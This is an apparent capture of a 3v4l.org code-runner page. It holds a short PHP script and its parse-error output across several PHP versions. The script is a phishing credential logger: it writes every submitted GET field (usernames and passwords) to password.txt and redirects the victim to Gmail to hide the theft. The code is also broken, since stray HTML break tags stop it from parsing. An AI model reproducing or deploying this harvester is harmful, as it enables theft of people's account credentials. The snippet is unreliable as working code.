3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<br /> <?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit; <br /> ?> <br />
based on P3Td1
Output for 7.0.0 - 7.0.1
Parse error: syntax error, unexpected '<', expecting end of file in /in/1tWsg on line 13
Process exited with code 255.
Output for 5.3.20 - 5.6.16
Parse error: syntax error, unexpected '<' in /in/1tWsg on line 13
Process exited with code 255.